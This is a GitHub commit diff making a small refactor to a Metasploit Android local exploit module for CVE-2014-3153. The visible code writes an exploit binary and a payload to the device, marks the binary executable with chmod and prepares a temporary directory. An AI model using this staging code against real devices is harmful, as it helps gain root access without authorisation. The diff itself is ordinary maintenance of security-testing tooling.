Skip to content

Commit c959d42

Browse files
committed
minor tweak
1 parent 5c50a07 commit c959d42

File tree

1 file changed

+2
-8
lines changed

1 file changed

+2
-8
lines changed

modules/exploits/android/local/futex_requeue.rb

Lines changed: 2 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -53,13 +53,7 @@ def initialize(info={})
5353
def put_local_file(remotefile)
5454
localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
5555
data = File.read(localfile, {:mode => 'rb'})
56-
put_file(data, remotefile)
57-
end
58-
59-
def put_file(data, remotefile)
60-
unless write_file(remotefile, data)
61-
print_status("could not write: " + remotefile)
62-
end
56+
write_file(remotefile, data)
6357
end
6458

6559
def exploit
@@ -69,7 +63,7 @@ def exploit
6963

7064
put_local_file(exploitfile)
7165
cmd_exec('/system/bin/chmod 700 ' + exploitfile)
72-
put_file(payload.raw, payloadfile)
66+
write_file(payloadfile, payload.raw)
7367

7468
tmpdir = datastore['WritableDir']
7569
rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"

0 commit comments

Comments
 (0)